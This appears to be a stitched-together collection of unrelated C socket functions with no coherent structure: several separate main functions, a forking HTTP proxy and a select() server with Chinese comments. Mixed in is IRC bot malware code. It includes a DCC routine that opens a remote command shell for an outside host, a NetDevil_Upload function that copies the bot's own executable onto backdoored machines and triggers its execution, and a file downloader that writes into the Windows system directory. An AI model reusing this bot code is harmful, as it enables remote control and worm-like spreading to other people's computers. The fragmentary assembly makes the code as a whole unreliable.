int main()
{
int nSock, nSock1;
pid_t nChild;
char buf[2048], szAddr[30];
memset(buf, 0, sizeof(buf));
ASSERT(CreateSock(&nSock, 9001, 9) == 0);
while(1)
{
ASSERT(AcceptSock(&nSock1, nSock) == 0);
nChild = fork();
if (nChild == 0)
{
break;
}
close(nSock1);
}
close(nSock);
memset(szAddr, 0, sizeof(szAddr));
LocateRemoteAddr(nSock1, szAddr);
recv(nSock1, buf, sizeof(buf), 0);
PrintLog(stderr, buf);
sprintf(buf, "HTTP/1.1 200 OK\n%s%s%s", szHtml1, szAddr, szHtml2);
send(nSock1, buf, strlen(buf), 0);
PrintLog(stderr, buf);
close(nSock1);
}
int main(int argc, char *argv[])
{
int nListenSock = -1, nLocalSock = -1, nRemoteSock = -1;
pid_t nChild;
if (argc != 2) /* 命令行参数：“proxy1 本地端口” */
{
PrintLog(stdout, "proxy1 LOCALPORT\n");
return 1;
}
/* ---------------------------父进程------------------------------- */
/* ① 创建侦听套接字 */
ASSERT(CreateSock(&nListenSock, atoi(argv[1]), 8) == 0);
PrintLog(stdout, "listen service: service is activated.");
InitServer(); /* ② 进程转后台运行 */
while (1)
{
/* ③ 等待并创建连接套接字 */
if (!VERIFY(AcceptSock(&nLocalSock, nListenSock) == 0))
continue; /* ③ 继续等待 */
VERIFY((nChild = fork()) >= 0); /* ④ 创建子进程 */
if (nChild == 0) break; /* 子进程跳转到子进程代码 */
close(nLocalSock); /* ⑤ 父进程关闭连接套接字 */
}
/* ---------------------------子进程------------------------------- */
close(nListenSock); /* ⑦ 子进程关闭侦听套接字 */
/* 解析HTTP报文头，并与目标服务器建立连接 */
if (HttpConnect(nLocalSock, &nRemoteSock) == 0)
SendReciveServer(nLocalSock, nRemoteSock); /* 通信转发 */
if (nLocalSock >= 0) close(nLocalSock); /* ⑨ 子进程关闭本地端套接字 */
if (nRemoteSock >= 0) close(nRemoteSock);/* ⑨ 子进程关闭目标端套接字 */
}
int WINAPI StartShell()
{
SOCKET csock,ssock;
struct sockaddr_in client_addr;
HANDLE hThread[99];
int iSize;
DWORD ThreadID;
iSize=sizeof(struct sockaddr_in);
ssock=CreateSock();
while(nUser<99)
{
csock=accept(ssock,(sockaddr *)&client_addr,&iSize);
if(csock==INVALID_SOCKET) return 1;
hThread[nUser]=CreateThread(0,0,(LPTHREAD_START_ROUTINE)Interactive,(VOID *)csock,0,&ThreadID);
if(hThread[nUser]==0)
{
closesocket(csock);
}
else nUser++;
}
WaitForMultipleObjects(99,hThread,TRUE,INFINITE);
WSACleanup();
return 0;
}
int main20(int argc, char * argv[])
{
if (argc != 3) {
return 1;
}
int nLisSock, nSockVar[MAX];/*侦听套接字与连接套接字描述符数组*/
int i, n = 0, ret;
char buf[1024];/*接收套接字输入缓冲*/
fd_set fdset;/*文件描述符集合*/
struct timeval waittime;/*超时时间*/
CreateSock(&nLisSock, atoi(argv[2]), MAX);/*创建侦听套接字*/
while (1) {
/*---------------------1.创建套接字描述符集合--------------*/
FD_ZERO(&fdset);
FD_SET(nLisSock, &fdset);/*监视侦听套接字*/
for (i = 0; i < n; i++) {
FD_SET(nSockVar[i], &fdset);/*监视连接套接字*/
}
/*---------------------2.准备超时时间---------------------*/
waittime.tv_sec = 0;/*超时时间设为0.1秒*/
waittime.tv_usec = 100000;
/*---------------------3.调用select，检查返回--------------*/
ret = select(nSockVar[n-1]+1, &fdset, NULL, NULL, &waittime);
if (ret == 0) {
continue;/*超时时间*/
}else if (ret == -1)break;/*错误*/
/*产生了套接字连接或数据发送请求*/
/*---------------------4.侦听套接字接收连接申请--------------*/
if (FD_ISSET(nLisSock, &fdset)) {
/*创建套接字描述符nSockVar[n] 与客户端套接字建立连接*/
if ((nSockVar[n] = accept(nLisSock, NULL, NULL)) > 0) {
n++;
}
}else{
for (i = 0; i < n; i++) {/*遍历连接套接字，判断并读入数据*/
/*----------------4.套接字数据收发------------------*/
if (FD_ISSET(nSockVar[i], &fdset)) {
/*从连接套接字中读入数据*/
memset(buf, 0, sizeof(buf));
read(nSockVar[i], buf, sizeof(buf));
/*--------------------其他处理代码开始----------*/
/*------------------其他处理代码完毕-------------*/
}/*FD_ISSET*/
}/*for*/
}/*else*/
}
return 0;
}
DWORD WINAPI DCCChatThread(LPVOID param)
{
DCC dcc = *((DCC *)param);
DCC *dccs = (DCC *)param;
dccs->gotinfo = TRUE;
char buffer[4096];
SOCKET ssock;
if ((ssock = CreateSock(dcc.host,dcc.port)) == INVALID_SOCKET) {
sprintf(buffer,"[DCC]: Failed to open socket.");
if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice);
addlog(buffer);
clearthread(dcc.threadnum);
ExitThread(1);
}
if (open_cmd(ssock,"") == -1) {
sprintf(buffer,"[DCC]: Failed to open remote command shell.");
if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice);
addlog(buffer);
fclosesocket(ssock);
clearthread(dcc.threadnum);
ExitThread(1);
}
Sleep(100);
while (1) {
memset(buffer, 0, sizeof(buffer));
if (frecv(ssock, buffer, sizeof(buffer), 0) <= 0)
break;
strcat(buffer,"\n");
if (!send_commands(buffer))
break;
Sleep(100);
if (findthreadid(RCMD_THREAD) == 0)
break;
}
sprintf(buffer,"[DCC]: Failed to send to Remote command shell.");
if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice);
addlog(buffer);
fclosesocket(ssock);
clearthread(dcc.threadnum);
ExitThread(0);
}
int main()
{
int nSock,nSock1;
char buf[2048];
//创建端口号为9001的侦听套接字
VERIFY(CreateSock(&nSock,9001,9) != 0, "Create Listen SOCKET");
//接收客户端连接申请，创建连接套接字nSock1
VERIFY(AcceptSock(&nSock1,nSock) != 0,"Link");
memset(buf,0,sizeof(buf));
//接收客户端发送的TCP数据消息
recv(nSock1,buf,sizeof(buf),0);
fprintf(stderr,buf);
close(nSock); //关闭侦听套接字
close(nSock1); //关闭连接套接字
return 0;
}
int NetDevil_Upload(char *IP, SOCKET ssock)
{
SOCKET nsock;
char buffer[1024], botfile[MAX_PATH], rFile[MAX_PATH];
int port = 0,bytes_sent = 0;
unsigned int Fsend = 1024, Fsize, move;
DWORD mode = 0;
BOOL ver15 = FALSE;
GetModuleFileName(NULL, botfile, sizeof(botfile));
fsend(ssock, "version", 7, 0);
memset(buffer,0,sizeof(buffer));
frecv(ssock, buffer, sizeof(buffer), 0);
if (strlen(buffer) > 5) {
buffer[strlen(buffer)-2] = '\0';
char *uPort = strrchr(buffer, '\n\r');
if (uPort != NULL)
port = atoi(uPort);
}
char *ver = strtok(buffer,"\n\r");
if (strcmp(buffer,"ver1.5") == 0)
ver15 = TRUE;
sprintf(rFile,"C:\\%s",filename);
port = ((port == 0)?(903):(port));
if ((nsock = CreateSock(IP,port)) == INVALID_SOCKET)
goto end;
HANDLE testfile;
if ((testfile = CreateFile(botfile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0)) == INVALID_HANDLE_VALUE)
goto end;
Fsize = GetFileSize(testfile,NULL);
if (ver15)
sprintf(buffer,"cmd[003]%s|%i|\n\r",rFile,Fsize);
else
sprintf(buffer,"%s\r1",rFile);
fsend(nsock, buffer, strlen(buffer), 0);
if (frecv(nsock, buffer, sizeof(buffer), 0) < 1)
goto end;
while (Fsize) {
memset(buffer,0,sizeof(buffer));
if (Fsend>Fsize)
Fsend=Fsize;
move = 0-Fsize;
SetFilePointer(testfile, move, NULL, FILE_END);
ReadFile(testfile, buffer, Fsend, &mode, NULL);
bytes_sent = fsend(nsock, buffer, Fsend, 0);
if (bytes_sent == SOCKET_ERROR) {
if (fWSAGetLastError() != WSAEWOULDBLOCK)
goto end;
else
bytes_sent = 0;
}
Fsize = Fsize - bytes_sent;
if (!ver15 && frecv(nsock, buffer, sizeof(buffer), 0) < 1)
goto end;
}
if (testfile != INVALID_HANDLE_VALUE)
CloseHandle(testfile);
fclosesocket(nsock);
Sleep(2000);
sprintf(buffer,"pleaz_run%s",rFile);
fsend(ssock, buffer,strlen(buffer), 0);
memset(buffer,0,sizeof(buffer));
if (frecv(nsock, buffer, sizeof(buffer), 0) < 1)
goto end;
if (strcmp(buffer,"pleaz_run_done") != 0)
goto end;
Sleep(4000);
fclosesocket(ssock);
return 1;
end:;
fclosesocket(nsock);
fclosesocket(ssock);
return 0;
}
DWORD WINAPI DCCGetThread(LPVOID param)
{
DCC dcc = *((DCC *)param);
DCC *dccs = (DCC *)param;
dccs->gotinfo = TRUE;
char sendbuf[IRCLINE],buffer[4096],tmpfile[MAX_PATH];;
int received = 0;
unsigned long received2;
FILE *infile;
SOCKET ssock;
GetSystemDirectory(tmpfile, sizeof(tmpfile));
sprintf(tmpfile,"%s%s",tmpfile,dcc.filename);
while (1) {
HANDLE testfile = CreateFile(tmpfile,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if (testfile == INVALID_HANDLE_VALUE) {
sprintf(sendbuf,"[DCC]: Error unable to write file to disk.");
break;
}
CloseHandle(testfile);
if ((infile = fopen(tmpfile,"a+b")) == NULL) {
sprintf(sendbuf,"[DCC]: Error opening file for writing.");
break;
}
if ((ssock = CreateSock(dcc.host,dcc.port)) == INVALID_SOCKET) {
sprintf(sendbuf,"[DCC]: Error opening socket.");
break;
}
DWORD err = 1;
while (err != 0) {
memset(buffer,0,sizeof(buffer));
err = frecv(ssock, buffer, sizeof(buffer), 0);
if (err == 0)
break;
if (err == SOCKET_ERROR) {
sprintf(sendbuf,"[DCC]: Socket error.");
irc_privmsg(dcc.sock,dcc.sendto,sendbuf,dcc.notice);
addlog(sendbuf);
fclose(infile);
fclosesocket(ssock);
clearthread(dcc.threadnum);
ExitThread(1);
}
fwrite(buffer,1,err,infile);
received = received + err;
received2 = fhtonl(received);
fsend(ssock,(char *)&received2 , 4, 0);
}
sprintf(sendbuf,"[DCC]: Transfer complete from IP: %s, Filename: %s (%s bytes).",dcc.host,dcc.filename,commaI64(received));
break;
}
if (!dcc.silent) irc_privmsg(dcc.sock,dcc.sendto,sendbuf,dcc.notice);
addlog(sendbuf);
if (infile != NULL)
fclose(infile);
if (ssock > 0)
fclosesocket(ssock);
clearthread(dcc.threadnum);
ExitThread(0);
}
